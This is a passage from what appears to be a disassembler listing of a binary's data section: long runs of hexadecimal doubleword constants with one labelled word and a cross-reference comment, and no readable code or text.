93E790Ch, 3B6B02Fh dd 74DAFE41h, 2802E112h, 3EC29EEFh, 0A240A052h, 80F09DB8h dd 0E7E8F3BAh, 0BF283854h, 2A00CB90h, 0B78CD6C7h, 1EA075h dd 5BBDA369h, 967ABB9h, 487B8900h, 75E26873h, 518F0078h dd 0CA90EA7Ch, 0BF070474h, 11B2186h, 8A00F147h, 7D7B41h dd 3D63C762h, 0E729D173h, 0D7720616h, 19ED7A00h, 7DB740E0h dd 70300A7h, 7B09B8B6h, 0D7012761h, 154C816h, 0DC29BC57h dd 0B68530E0h, 0B0E9C70Ch, 0C2191Eh, 9EDD7929h, 0E74E5833h dd 265B233Ah, 0DC809C05h, 6D8E7811h, 55DD0CB7h, 0C7695D95h dd 0C11C3A00h, 70CE0A73h, 1E4F00F7h, 109AC668h, 16EE08E9h dd 38300E60h, 97E81703h, 4E429640h, 0D59CCCA8h, 1EA8690Fh dd 8F41E0FBh, 1BD5D0Ah, 392F8658h, 806E3D84h, 0A5526220h dd 0A70FD914h, 0F8D60820h, 0D7B816C0h, 8050E7BFh, 1A8ED5Fh dd 0FE01B72Ch, 0BD093F63h, 41216F08h, 0D753A915h, 6E78CC5h dd 2F0E158h, 0B101C811h, 0DADB2585h, 0F882C9BFh, 0BE0CE0C6h dd 0BCE5C0FDh, 182148EEh, 8E926680h, 9A03DC82h, 0F8471E29h dd 6DA32Eh, 8EE51C21h, 0A3708140h, 9A09BA00h, 0DAC6BBF0h dd 60FB67C7h, 1F284A4Ah, 67F0413Ch, 0D0403927h, 305D3855h dd 15E458E0h, 788C9710h, 6C42400h, 83D890E1h, 223B33B8h dd 21002F08h, 5006CC7Ah, 33DB670Ch, 98E07FD1h, 717B6230h dd 0C01C8B55h, 5EB38231h, 0E03B30FDh, 124505D2h, 9C42D0E2h dd 44E34AE5h, 0D37F000Ch, 0A72609Bh, 8A05E0E7h, 8370C94Fh dd 588A804h, 7F979C0h, 0B5AF18B0h, 0FE39185Fh, 918C360Ch dd 79F31071h, 0D90A021Ch, 0F89FDB76h, 0E85F8880h, 0B8A0A62Ch dd 0AC00301Dh, 1EBBC62Dh, 3AB4BAh, 0B8477E4Bh, 68B1F128h dd 97940C03h, 0BE4D8EBDh, 0BC822658h, 0A9184094h, 100067C2h dd 0CD646F47h, 1C09F4E5h, 2E1154h, 13F25FBCh, 0E800D49Eh dd 68223FAEh, 607E737Fh, 57BA90ECh, 0B5001247h, 9D5CB215h dd 0C1B3D4E9h, 2FC5DFA0h, 115C58FEh, 40676D80h, 0B1B813A8h dd 0E0BCF43Dh, 69CD5D99h, 0FCF100E2h, 39AD7B68h, 64187331h dd 0DAE17F30h, 0DBD504AFh, 98EFC7B3h, 794C2FE8h, 4CE45170h dd 21C011E8h, 38781722h, 5726010Dh, 694D0649h, 8397E945h dd 5EB13CA1h, 0C76388E0h, 0B75D0631h, 0B066B4D4h, 0EA971D00h dd 9C3671F6h, 0C865054Ah, 40ECD430h, 0B5D887F0h, 90F01Fh dd 0DF71C61Eh, 84F37C0Ah, 8B119002h, 6A4600D1h, 67018166h dd 0EC624516h, 44200FAAh, 26DD265Bh, 34723B18h, 9030B8ACh dd 8B9D6248h, 50DAF4E8h, 33809038h, 0AB048694h, 80909206h dd 0DF803867h, 5FE906D2h, 7696047Fh, 0C116D9CCh, 20C7BD28h dd 660CC428h, 68FC503Bh, 0E0960940h, 4A110C9h, 89E68375h dd 21AC691h, 68595F70h, 64C8AC80h, 0CBB4B1AFh, 7E3DFB8h dd 0F113B774h, 0F0B3EDF5h, 70FDBAAEh, 5A18CFA9h, 0BCC91E39h dd 0C959DD1Ah, 5C000854h, 0E993CFADh, 905E8830h, 289CB124h dd 15D06495h, 9C35DA0Dh, 2D994804h, 0A774D27Eh, 56014C40h dd 0F2E04082h, 0E35588BAh, 76A43A4Dh, 1B42252h, 0F5B7E03Eh dd 0C434C59Fh, 0BC3913D8h, 0E18460D9h, 0DC23878Eh, 16911F2h dd 0B89E981h, 0D0F41C7Fh, 15480251h, 0BF64DE88h, 3D05D0C4h dd 34F3CB74h, 0F12CC8h, 14B8E88Dh, 703F0A71h, 6F4219C0h dd 7E29DDh, 0CFE1E776h, 0E50F5680h, 20011276h, 959FD2CCh dd 88A44ADEh, 0A4670FACh, 9A55BE01h, 2C498651h, 0E94394h dd 0DF0F373h, 0CB40D8ABh, 2A3BDB02h, 402890E6h, 14F3E2Ch dd 1CE25E04h, 44126E0Ch, 0D340C29Ch, 8A8D130h, 0F5E1B728h dd 4A40A464h, 0CF3BA8D9h, 1A69E203h, 0F1079C22h, 5AF51EA5h dd 1C7844E2h, 51971CE6h, 0BC030012h, 0B72632CEh, 152C075Dh dd 90E91782h, 2BACB4E0h, 9F2FC407h, 9993ECD5h, 23A00924h dd 782A98D4h, 0BDFA0854h, 0E6792860h, 223B469Eh, 2430EE0Eh dd 4CAD79h, 143E2FCAh, 4C17FA15h, 0B814B1DBh, 3A0A1004h dd 68EE6C0h, 448CFADCh, 0EE098073h, 2D09489h, 75BD58h dd 3761CB70h, 0B839C412h, 0C02CF408h, 909D0150h, 881818FDh dd 60DD7DEh, 0D9E24A89h, 8A7D6040h, 795B6035h, 0B3642529h dd 50AEF303h, 0EDFF9537h, 8981DB00h, 15112Ch, 3F244EC1h dd 3B56FE49h, 0E00D7631h, 9D0C21EDh, 0DC838E08h, 4068C492h dd 0F98EE41Dh, 60BF2EDh, 0B30F1CF4h, 0F8F89914h, 6F558h dd 32267B6Eh, 4C43DAC7h, 330A40C3h, 407C2D69h, 909C06BDh dd 2D22B046h, 0DD5Ch, 0A30D9405h, 13958BBDh, 42204E08h dd 80258460h, 14D2B080h, 41308C30h, 2450106Bh, 0CAC502B9h dd 63027DDCh, 4138E460h, 0B00FCE4Fh, 12C3E6D9h, 0DA520718h dd 0C3BA5C83h, 0E8B8EC26h, 3726FC08h, 9E8A1CC6h, 0BE89BC35h dd 1A602031h, 15E36B9h, 5B9C1C15h, 4821EBB4h, 0E800E1C8h dd 43B9DAC5h, 0E2CC3613h, 24890FDDh, 0A2C0D392h, 0F09EE4D4h dd 0D041F631h, 0F9805594h, 790D6577h, 910039BBh, 0E957EFCBh dd 3B8ACD93h, 65805EF1h, 54D89CB0h, 3012425Dh, 0D41E43BEh dd 0A8E40063h, 0C239B725h, 0EC758085h, 674149A8h, 7CAB7C24h dd 0F5938E3Eh, 8827C0DDh, 4D369D8h, 7ADB9C33h, 0C4B08EA0h dd 0C330C618h, 93E207EBh, 0B113DB7Fh, 0D04259ACh, 0A0F3E0E1h dd 1D2B7B4h, 53DD14DFh, 0CE00CC13h, 0F3E57E5Ah, 90008706h dd 35A2AFD8h, 93A8937h, 1169E382h, 0D1071846h, 5090E006h dd 402E64F8h, 0D806D909h dd 3D9B01C1h, 0A184F3Fh, 3CF08FF4h, 38694117h, 0F82614BCh dd 4CC47850h, 8853B4DCh, 86006B22h, 820A89ECh, 0E4BA9046h dd 0F24C0740h, 503BEA6Dh, 7379181Ch, 0BB6B2Eh, 0EB5D903h dd 24D0C5EDh, 0B819365Fh, 0C1FDF9B4h, 94CA07h, 0C68EFAEAh dd 23549C30h, 55603FC0h, 0D39FF979h, 17C1902Ch, 50B4554h dd 414EEB70h, 0B09C26A4h, 6BC45016h, 0ECF36852h, 0E400E153h dd 936FF33Ch, 0C4A32B71h, 0C29F2798h, 0DE205D04h, 5FD0484h dd 31A4B1D8h, 0C4D80F5Bh, 0C73C2D03h, 997EA839h, 0D740A1FFh dd 0EBE42021h, 99F603EFh, 97357031h, 2C843BC9h, 0D9E50134h dd 1A27D37Ch, 1DDAF040h, 8EBD1320h, 3FE04699h, 90138156h dd 0C20060E0h, 0FFA250Eh, 0DF890098h, 0BA4304C3h, 3C00F5D8h dd 0AC13F9F0h, 9839D396h, 0EBA0086Ch, 0EF11B799h, 518E9380h dd 7C52E2DFh, 0B723CAE4h, 4D3CAB00h, 7D760A8Bh, 0A03DE825h dd 4312CE4h, 0CF78BA35h, 5587C02Ah, 2C921039h, 7E4FE426h dd 14CB0200h, 12E0D8E6h, 124A4EF0h, 0B65C09ECh, 5C27045h dd 0D4DF18C7h, 0B2307FECh, 0A1E190Dh, 89D0015h, 0EB862F8Bh dd 0FF02DDB7h, 84B6074Ch, 6A38C9A5h, 3C626980h, 320D673Fh dd 98EF9C35h, 925DC290h, 0F8E12790h, 31277800h, 0E21A1385h dd 0C0D8BA42h, 808039A4h, 0BC2EA9E7h, 0D82022EAh, 0B8C1852Ch dd 2560E544h, 9E23E179h, 50A1153h, 0C4792D28h, 2045CD0Eh dd 47DB7C82h, 3B089017h, 34A4BB8h, 0AEBD27ACh, 0E1D8A094h dd 4A6E1013h, 40136091h, 0C5019479h, 0CE089E60h, 0CFF47434h dd 73411306h, 58115Ah, 0EC6CAE45h, 0C707E0D9h, 93B13761h dd 805004E9h, 9BDDDBh, 0BA0A6C6Bh, 0CEE4294Eh, 70A77024h dd 22C5C69Fh, 203C16D2h, 0B6E460Ah, 68C1E94Ah, 0F60878h dd 2B15305Bh, 1B874B64h, 7EDEF509h, 0C4FC45EDh, 527A6023h dd 0D5010F31h, 27C24FE1h, 0B8418757h, 0C6A850B4h, 2D13DB5Bh dd 3800E3F1h, 0C706E03Fh, 331401D8h, 7CE193D7h, 38C0924Eh dd 6F23982Fh, 6168F207h, 0E0B1BD42h, 3D9D4B30h, 80EF148Bh dd 0B0C7B964h, 9743166Ch, 0E706CA02h, 0EC712890h, 18E00466h dd 6CBAFCD7h, 58C44685h, 98B7C7E8h, 12C1729h, 90E606CFh dd 7B2E0E20h, 0DC6502A4h, 0CE82F56Bh, 68402969h, 34905C49h dd 0BCEB6C12h, 45B43C32h, 80F1EFDCh, 952B7951h, 7F8E00A7h dd 0F0E10ABBh, 60924676h, 63459C14h, 0B5706230h, 7E10054h dd 6DF8B990h, 7D738D00h, 11AC0EA9h, 0E2190066h, 0EFEA6870h dd 0DF008C0Bh, 3777A586h, 51B848h, 0D5AD230h, 2F2A3DEAh dd 0B5740807h, 1DF74335h, 0EB6D6440h, 82213076h, 0B06A13FCh dd 19E87970h, 0DC203460h, 0A6218Eh, 3299DF31h, 61902BC2h dd 0BAD148C4h, 0A821B037h, 0CE171E9h, 2221C005h, 6EB92188h dd 0B2035200h, 0EA9F929Ch, 505067A2h, 60AAE05Eh, 78003E17h dd 0FE3A3089h, 1EDDCEB0h, 0B6D63h, 74A38F04h, 0FC0CAF9Fh dd 8B7E739h, 20666003h, 1CA2F15Dh, 637193Fh, 6945B26Ah dd 600B3AC9h, 9108861Bh, 7D441AC0h, 0FBC2D100h, 0B3B51C97h dd 0C04FE896h, 7D4D7921h, 0D6399558h, 82C00354h, 98496612h dd 36AA678Fh, 0A8B0530Eh, 8D07CC46h, 189F76A3h, 53400FC4h dd 6BF8A387h, 0EDAB802h, 201E49AAh, 0A1BBC667h, 95E5DF00h dd 46CB3032h, 7F68C65Dh, 6400404Fh, 0AB20444Eh, 0E09CA6h dd 4CB6EEEDh, 95E884A2h, 75BC6C01h, 972E6462h, 694790D3h dd 0B82700C3h, 0B56C3B32h, 70007172h, 638B4E17h, 3F128F74h dd 0E581D725h, 0F8C69ADCh, 0CFDEC077h, 80903E3Eh, 38A08F82h dd 0DABDF1h, 3489ED1Bh, 407BB907h, 0C621A300h, 0A14E5492h dd 338A0FF1h, 9C5FBB8Bh, 5C6B4136h, 705AFF89h, 0F40EB2FDh dd 0C1D8E411h, 34363F44h, 0B8E5588Eh, 4074309Ch, 3100B37Bh dd 0FDFCBED4h, 787D855h, 0DA0E7D70h, 0CC9190D0h, 50005A3Eh dd 0BB976030h, 0E82CCD11h, 0C6C300BEh, 74A8CA9Eh, 0BD030B56h dd 89F4AEE8h, 7C001DAh, 0B4F6C260h, 4369D803h, 0BEA47000h dd 0BF3E910Ah, 4FDA00C8h, 8163997Fh, 0B9C0516Bh, 0E5E74360h dd 0E467C16h, 0CEF70C64h, 0A521AEC2h, 136F8A00h, 0D23200A8h dd 904BC914h, 0FE0081D5h, 0BF38DAE3h, 305C55h, 0DBC0A378h dd 2BEBED44h, 2CCF5B00h, 0DA19FD11h, 424B0098h, 27926DF2h dd 9A02076Bh, 1A032102h, 4E60F5C3h, 4A00743Eh, 315F636Eh dd 0E119975h, 8FA5E10Ch, 0AA294DE0h, 20008B79h, 0DF982F69h dd 0E06C173h, 0AE4C4776h, 3A8031C0h, 0A40E2C8Eh, 0C0A0BAD2h dd 7A7F4BF6h, 0B6110094h, 8DC0815Eh, 3E73DC2Bh, 6D59F900h dd 74016641h, 0E1040306h, 0A6D1D530h, 9A3180ECh, 0C07F0C9Dh dd 0C8573300h, 15C41FC5h, 4A5A0067h, 7B50168Eh, 0BF004D6Eh dd 7A72E836h, 66878h, 41DE9B43h, 291B832Fh, 3828D400h dd 1124CDCFh, 0FD810F7Dh, 0B0804FFAh, 0F2C4F3B4h, 0C06C911Eh dd 0C98EACF0h, 68B4A09Dh, 67070087h, 2E285E51h, 3290393Dh dd 6ED0B4A0h, 33001476h, 0E72B2C8Dh, 0A6FF30h, 978280F5h dd 2A679D68h, 73EF1A00h, 0E3C2B6B1h, 7CDEECBAh, 0EDDC14FDh dd 0F500EC86h, 0ACB54A82h, 72072E02h, 8AD7692h, 1F38AF30h dd 0E2241C63h, 0D89180F3h, 0EE3E6CB5h, 99E0FB07h, 0C4002717h dd 3363B5Ch, 8BEC8E49h, 0CBA92A4Ah, 0EEF6D02Bh, 7C8D5300h dd 3A255809h, 0BEC20703h, 1031EC48h, 0A195DDC5h, 12F0BFh dd 8BEBD920h, 0CC681022h, 2F007B79h, 5BF14E36h, 5E9B101h dd 0D46C158Dh, 8ED800E4h, 0A61C7BC3h, 2705FD00h, 0F1BD30F3h dd 0AD70F17h, 0C05D505Eh, 0BEB8B544h, 0D43F3486h, 56520078h dd 0E111FE25h, 0F40F0012h, 8E6AB792h, 7F00BC7Bh, 0A29C7DCBh dd 60D9ADh, 8F86B96Eh, 0FB84019Dh, 4BFE4F01h, 65DCDAC0h dd 0B72DF8h, 750C25B6h, 557F2856h db 0, 44h word_544F42 dw 0C3B1h ; DATA XREF: ___:off_4374C0o dd 6C8F77DDh, 371A00F3h, 201B6A80h, 45004333h, 0D8B57A51h dd 3B0D7F82h, 6001934h, 0EF2CCBE1h, 0C51C8832h, 0FF01C30Eh dd 0E7F1FAA0h, 5C964BDCh, 3E0076D7h, 0D24E3B01h, 0B1009D93h dd 0C91E3F5Ah, 9C8009h, 3B40C0F6h, 9308607Fh, 0E5AA1F0Fh dd 91F860F1h, 4809Eh, 4AD50DFAh, 0E2E0CF54h, 3A8C9500h dd 1AD20AB5h, 4B8E009Eh, 0FF93FCABh, 4A7CFA9Ch, 0ED597A03h dd 0D00C8AC6h, 0C076890h, 0A196F3F2h, 0B011128h, 87E6C380h dd 0E82492D0h, 9453005Eh, 0B452355h, 630022F1h, 10C12E40h dd 78300F1Bh, 90B40015h, 0F994FA8Eh, 9C00239Bh, 0A341DA7Ah dd 481B16h, 58D0CC4Bh, 0E4B98C9Fh, 0BE892C00h, 462EAF4Fh dd 105FC4Dh, 0D7F39818h, 0E4D6CC6Fh, 572608B4h, 5C006429h dd 0EE231A1Ch, 0AE75C5h, 5F60F62Fh, 38F57902h, 6C2A5600h dd 0B8119CCh, 0A4BB0EB8h, 8C2E151h, 8F602FD3h, 25023815h dd 0CBA276DDh, 0EE544002h, 7B670458h, 0C34520BFh, 0E5E0F355h dd 78C42EA2h, 31C0318Eh, 0F7066E7h, 2B902339h, 0F3562AC0h dd 9272C3DDh, 0FD2239h, 0AA7F295Fh, 3B43DD0h, 4E0ACFD6h dd 0F098796Ch, 0AB009C1Eh, 2D89A872h, 6D8725h, 90DC2E1Ch dd 4595169h, 0D18AD70h, 191812F3h, 0BA2D3A93h, 58163280h dd 0E4ADC2E6h, 2704EEEEh, 6CB840D8h, 113571C0h, 4B29037Fh dd 41EFF5F4h, 5AFD4000h, 1CDA2B06h, 0E68C0348h, 0B5B991BEh dd 8FC460A0h, 0EFCAE100h, 890F7025h, 8E1E01AAh, 0ADA4667Dh dd 0CE2030D4h, 0BB260409h, 0AFD80025h, 143FF4FDh, 9038F929h dd 98ED3403h, 0E5F028F7h, 7F0066FCh, 678353D0h, 38A6FBA5h dd 88707A2h, 0F0F3816Bh, 0A0D12086h, 2F6DA8A8h, 0B11B3800h dd 0B2D2619h, 9D54005Eh, 7F972811h, 98008216h, 4B4F2391h dd 0D9B992h, 0AB4280FFh, 0C44A62CCh, 2A1DDD00h, 0FE387393h dd 0F459002Dh, 9AE93D3Ah, 360612B0h, 0D3F2ABDCh, 0D2040BB0h dd 27823F38h, 30494F4Bh, 0E40321B5h, 0D60E4D5Dh, 0FC613F31h dd 20104494h, 0F301FF79h, 0CC8AD45Ch, 7814E948h, 4627448h dd 7FFE9866h, 1BEBAF80h, 2FC50014h, 4D55A0DFh, 38A02CEFh dd 8A00A5B0h, 7B72A139h, 3282DAh, 1B57AD8Eh, 8147AE24h dd 535050C7h, 13409A80h, 0D9C70026h, 3A328E42h, 2D54A08Dh dd 3B836D60h, 0C8E0D612h, 3268FD42h, 2B0E38B2h, 8333DB7Bh dd 45A1D2h, 0E9A413C8h, 0B9321765h, 3D0E3600h, 0A36CD0ADh dd 261101E8h, 2BD27035h, 0C9F5E40Fh, 0B05C1600h, 0D8D9907Eh dd 70B8DBh, 5352EA96h, 0D3337A42h, 0C8D6E200h, 61A9646Dh dd 73A6003Bh, 0FB88D1EAh, 0B10357CFh, 556781D9h, 20980015h dd 0BB5E1A8Ch, 0E700AAB5h, 69A83DCDh, 0C05113DEh, 8BFB2AE1h dd 0BA03C995h, 0A5E7847Bh, 48A9FA79h, 0F21396D4h, 0CB8D000Dh dd 0EF7A5AE5h, 0FC0D8C5Ch, 6828B889h, 0B75330h, 1E54AF7Ch dd 0BE31B210h, 0E2830F07h, 90E0D671h, 3123D939h, 14303BAAh dd 29EBCBCDh, 0B74989D8h, 0D518120Ch, 6F135136h, 2343A14Ah dd 0D8541684h, 17032B34h, 1B8C15D0h, 0DCCAE8A4h, 0D9830E37h dd 2F892E3Ch, 4F33A021h, 0B487C448h, 59073A73h, 31E52A85h dd 75EB5C0h, 0F751C36Fh, 71074E13h, 0C40DD53Bh, 6C795730h dd 0CA2C03D6h, 0DA0B98CFh, 0EE187EB8h, 44547C50h, 0FC9EC88h dd 41A126FDh, 51A05AE0h, 0D060CB2Bh, 91F0C64Ch, 0CA2209ECh dd 0B68015F7h, 0A908B856h, 52CD513Bh, 5E200C8h, 0A763451Fh dd 1ABE00B3h, 0B0F6DDD8h, 340ABDAFh, 0F0276721h, 0BA245B83h dd 4991A82Fh, 4EE73C8h, 1D4AC3ADh, 40504358h, 2C04F0D3h dd 0BEE0374h, 202E87E3h, 8081DD8Ah, 800A5C1Eh, 3FC9C2D1h dd 82D37Bh, 0C36DBA11h, 65B4C40Eh, 3A1CAE00h, 108FAD45h dd 1261C05Fh, 0B7F71B2Ah, 0DA430B07h, 3113A160h, 1CEED0ACh dd 125A0E6Bh, 71381A3Bh, 8503F2DCh, 6ECEA3C1h, 0C931D88Fh dd 43490073h, 0B0184C30h, 690FE660h, 181B53F2h, 7CF4439h dd 3BE27F3h, 8E9BD01Dh, 120097CCh, 6759653Dh, 0E63C8A74h dd 0BE640049h, 0D562110h, 950E480Eh, 8082DC12h, 0B74F2946h dd 4EF03A1Fh, 20660A12h, 3B0FC42Ch, 7349F300h, 0CA3E4C69h dd 0D49700ADh, 0EF036EABh, 6F15D5BBh, 9824B8h, 2269B63Dh dd 7E26A420h, 0E006EA8Ah, 19820C78h, 1329295Dh, 1985354h dd 75F5BC0Eh, 64894797h, 99C4DA00h, 74E01EA2h, 715E8087h dd 4C7C8890h, 0DF92D900h, 0F179BF2Ah, 691E0521h, 80F261AEh dd 0C129A3ADh, 0A6826E09h, 0AAAC203Ah, 49566DA5h, 0E000E0BBh dd 2D508EAFh, 0B6000713h, 8426CAFDh, 48116Fh, 4FEF596Dh dd 61ED362h, 94006C91h, 86A9A591h, 6316002Dh, 0F8BFA864h dd 0E500039Eh, 19FF9B89h, 39A977B0h, 1E1E7A69h, 2CAE4054h dd 2AB7480Bh, 22EE0C0Eh, 643103A7h, 0A0D89209h, 0A36F61B4h dd 0FDC80072h, 1C2D541Fh, 2C0074BEh, 0EF86360Fh, 4CF4A658h dd 0A01258DFh, 0A78469Fh, 3301A137h, 204A1E6Bh, 0B4C07441h dd 0B0F401ECh, 3EA3A1FEh, 0E802210h, 609C8B5Dh, 4B7EAF48h dd 305C7BBFh, 0DC215613h, 3074369Dh, 899C209h, 41A0980Dh dd 66E81D16h, 7B9DC0A9h, 0AAD19729h, 70517E11h, 0BE8AE631h dd 9DEDE866h, 0DEE54100h, 622F5E74h, 93A607C8h, 20D290FFh dd 282C05BEh, 0FB00509Ah, 0ED685AB9h, 0E4D996B1h, 76F0020Fh dd 94105B22h, 12BCB084h, 80A7C808h, 0DE0265FBh, 7D007E49h dd 84AB18B3h, 1C19D923h, 9C20BAh, 2D9B79EFh, 0E628484Ch dd 0FB54C8FAh, 4900AE6Ch, 0DE5BBE26h, 0CF022D7h, 33A5A903h dd 2A540721h, 4800EBB4h, 7C78B9E4h, 29605FAEh, 3C867BAh dd 8AF1935Eh, 21CA638Bh, 47EFD360h, 0EDA0C609h, 5498003Bh dd 75857895h, 0B1BA00E7h, 905A7DF3h, 0DA3834CEh, 88252AB4h dd 0EFF98D00h, 0D181ABC2h, 186F024Ch, 24679415h, 0C9B64C80h dd 4500A7C3h, 4F0D5A17h, 2CDBBACh, 1854EFC1h, 8080E98Dh dd 5EFC041Dh, 2462E9h, 0B43B9E33h, 0F4FF7F5h, 7FAFB122h dd 0E9DF9142h, 0A5902261h, 71128C26h, 99A401D1h, 0A9A2621Dh dd 0AA76F0AEh, 2F855406h, 0B9871Bh, 86C50992h, 0EA5BAEE7h dd 2DEF2C00h, 0A70BB969h, 23DC02B1h, 712661Eh, 68030864h dd 324D781Ch, 2EF388C2h, 0A80B0E31h, 0A50098FCh, 5DF4F208h dd 1694121Fh, 916FB780h, 3C67959Dh, 0C8094C3Ah, 0DC985B19h dd 215F6F87h, 989063C4h, 0F8EFFh, 0E8463B8h, 0AF364891h dd 1E479703h, 262EB429h, 1E9013C1h, 3EA13C9h, 1B497D28h dd 720BCEF8h, 1C8961C0h, 0C3AB53h, 0E73CCB6Dh, 0CE528AD1h dd 0A7301E00h, 0DFAE8510h, 516F26A8h, 0F5710359h, 41001807h dd 0DD567521h, 186F26Bh, 0D51F1D9Fh, 0C3929024h, 61831EA8h dd 0BF892103h, 126EF19h, 0E3638B39h, 20788288h, 5E0CB7C3h dd 20177BADh, 7F687DA5h, 0E7B507ACh, 5AA1056h, 9580401Fh dd 41F58B2Ah, 6B2FE2C0h, 9FFCBFh, 543AFCCh, 0C3904FAEh dd 2E98E500h, 3ED07DD9h, 8C86542Bh, 0F131006Ah, 0DCEEB7EBh dd 0D000D58Ah, 40A4FB63h, 2693E405h, 42BCFD82h, 88E675CDh dd 92D66007h, 33C02CD7h, 56856Ch, 7DAA57A5h, 36D0C9C0h dd 23F70B0Eh, 0A9821D9Eh, 488D66C6h, 78FCF3Ch, 0E54DFA6Ah dd 0D6F9F0EDh, 7B00C424h, 8206E119h, 0FAFAA26h, 0D5BD446Ch dd 488C2033h, 0A22EFD91h, 7E00E3B3h, 0A668D9EDh, 78830275h dd 21CAFB2Fh, 0F10524C0h dd 0D1F9F61Ch, 3EB600F9h, 5BE878ABh, 56DE2C68h, 0B9244058h dd 1000F827h, 0EAFBCD80h, 1CC87889h, 836442F0h, 35B87A0Ch dd 0C9038100h, 239A994Eh, 83D91C6Eh, 49DC135Eh, 0F08858FCh dd 86040D0h, 0A21C7A70h, 6A80BF80h, 0ED445B0Eh, 0DE64543Dh dd 0C8E1489Eh, 96F70EC0h, 6300C73Fh, 53A40350h, 0C08267A9h dd 0ED25E721h, 8E3FECC6h, 39D600D0h, 19CF6312h, 5BDC0ABEh dd 2CE4EFB7h, 0F5D60DCh, 80001F1Bh, 8CDAE87Dh, 1C6022DFh dd 8C371667h, 64B11536h, 6339B600h, 0C3878B25h, 9F8E00DAh dd 29D6049Ch, 1C922DBEh, 4CB01E04h, 0D48152EAh, 604766FAh dd 6B230CE0h, 1A79F0h, 9D44D503h, 0A8EB7B0Eh, 4847994Ah dd 9B0EB548h, 25F9D851h, 9D3503E2h, 55931A74h, 498EDBC8h dd 0B037290h, 1EC9C38Ch, 7487A021h, 0E6FD2498h, 0D9C00001h dd 4B64A088h, 15620C03h, 2099A9h, 618BF791h, 0BE2ED543h dd 9C1F7701h, 665DE575h, 342983FDh, 494C1300h, 0B88E92Fh dd 5A1DBF00h, 0FA835362h, 0D9A509E7h, 0BC4B2724h, 0E675A190h dd 9D8AF1Fh, 0B7210E04h, 3B49488h, 3088EEC4h, 0D9D04E23h dd 0B717496Ch, 48000961h, 1AABEDFAh, 0F3AD1324h, 0D5E800A8h dd 0EB67E8BDh, 7B900860h, 0DC8AF2h, 0D83D6C5Dh, 5244BBB3h dd 91CDFB00h, 59E97B61h, 1B072475h, 10D8804Ch, 9B69D464h dd 0B5FCF100h, 49E13968h, 45513CF6h, 0A400E838h, 0B0184BA6h dd 680FB11Dh, 725C4881h, 54BC6021h, 246CA5F0h, 80204D56h dd 0FDBD9819h, 4A1B020Bh, 0C7F05901h, 4EC14028h, 0AD314449h dd 7D0AC117h, 7F439980h, 210C60F2h, 45801491h, 9120BDFFh dd 0B5124E9h, 9C202758h, 59EA81DCh, 0A3C30D00h, 0EE701E28h dd 0A5E803EBh, 1F306EAFh, 198E1DC0h, 94030B12h, 9B339030h dd 4A1000F4h, 22EF7CF3h, 137A7012h, 16B6DC0Fh, 9820D683h dd 4CF8A120h, 0EF01D04Ch, 0B830CF28h, 0EAB9801Ah, 9F0A8985h dd 918C1F4Dh, 0EEBE4553h, 2C54C813h, 0C15DB100h, 0E85C9807h dd 2B540795h, 3BC4CD06h, 740A8410h, 5A004176h, 4FD76181h dd 227AA32h, 1A7788FBh, 0C4C00A30h, 6C18D292h, 5A3921B8h dd 0DC6100B2h, 5BB451EEh, 681F5E91h, 0FDC11356h, 9E09B0EFh dd 83824E5h, 0AE827783h, 5794A4E4h, 6850CF33h, 3222D3F9h dd 114034B9h, 8B1246C0h, 44E06C00h, 3634B6Dh, 0E4AE4CC0h dd 20362017h, 5C1EB2E4h, 0D0B8D31Ch, 96483740h, 0F91A64Ch dd 1998FDADh, 0A59D2CA0h, 81E0ABDEh, 0CA4E39C0h, 72956Ch dd 65D8792Eh, 1E2B3F80h, 6D00389Ah, 389D1D49h, 0A066EDC0h dd 518A8Eh, 0B11E4EC2h, 0E87E9F56h, 2EFF601h, 0AC954321h dd 200E4C2h, 9E2ABE0Dh, 574055D5h, 70024D3h, 0AAE55BDFh dd 2C454EEh, 23E0B437h, 8CA70862h, 0DB6FB083h, 2CB1109Fh dd 9DFD8780h, 229A862h, 5B85B21Bh, 10E407FAh, 4D887104h dd 82FC0Dh, 0B7FD80CAh, 1D045A4h, 0AEC50320h, 20793954h dd 0CCA1F6A0h, 64A99219h, 81E04C90h, 0CD4148DFh, 0D6FB0076h dd 51AFE7A5h, 825801E4h, 0C780DD34h, 0E146AEFAh, 0C195C25h dd 80C89E77h, 58E56D4Ch, 40C1AA4Fh, 0C333B66h, 54362DE0h dd 0A018C030h, 0B1124E64h, 9E020078h, 8A94BAD6h, 87FE6300h dd 924451DBh, 9B783034h, 77C1C950h, 1B360807h, 68CC5B47h dd 65F02654h, 896C18B0h, 0D40EB9BAh, 1F8BD391h, 5F7F007Ah dd 302CEE09h, 0B4A0751Eh, 0D0B5011Ch, 2D125E0Ch, 41C004Ch dd 512871F5h, 7E7F04D7h, 8E918h, 365C6D2h, 676900EFh, 11E8DB9h dd 4E88276h, 251557E2h, 51B01B83h, 0D839A0EBh, 7F004D7Ch dd 98EF69E1h, 0E2D84414h, 0E3480E02h, 21F22E57h, 2235DA84h dd 0B8611E00h, 0F6FAF800h, 961277AAh, 8B3E8080h, 9F6DBD85h dd 4E9E5Ch, 0CEC6AD7Bh, 711D5040h, 0AA2703A2h, 66D0F616h dd 0E1B95AF9h, 0C07EFC5Eh, 5B4A9009h, 34C0E812h, 0ABF900D5h dd 0FD753E08h, 0F20EF720h, 0C26A72EBh, 400347E4h, 37D45FB2h dd 0B0A12535h, 61690B97h, 9F7A1400h, 8B40F55Eh, 4BA07D1h dd 0B1C160h, 130827A5h, 0A66AEE16h, 4482C15h, 19E7FB6Ch dd 58AF3CF0h, 30580AAEh, 0C900C12h, 0DF281DE0h, 601FAB78h dd 48FFB392h, 0C74CC190h, 7730836Bh, 8EEE45h, 4BEF65AEh dd 9520D5B2h, 32780B1h, 0A398ABF8h, 2201A113h, 1979D450h dd 89D50052h, 0FD38ED48h, 0A9242CA5h, 0A42C64F6h, 21266811h dd 813C6564h, 842EB41Eh, 0E8199411h, 0A41C1488h, 0F76C7AACh dd 8BE670h, 73989D67h, 0D5D11CDCh, 0BF07181Fh, 0A98800E5h dd 72AA157h, 0A6EF37FDh, 0B5426069h, 0B62CEE12h, 460C4C0h dd 1334447h, 6256358Ah, 0D08E49FEh, 0C8025E9Ah, 0CE68CBB3h dd 1F54E09Ch, 326ECE0h, 971D79BEh, 0B8103476h, 0A9152EA0h dd 0E0508407h, 20464FB7h, 583E0CCh, 9B499201h, 0CA45C1A9h dd 348FED0h, 56D66195h, 0E9004C57h, 0E6FFC1B2h, 3C3D3CA6h dd 0BE82C988h, 9E678F21h, 3E433468h, 16730D00h, 57067CE1h dd 0F1F90ECBh, 82A0997Ah, 0A478B652h, 0C855A924h, 0EEBF7F40h dd 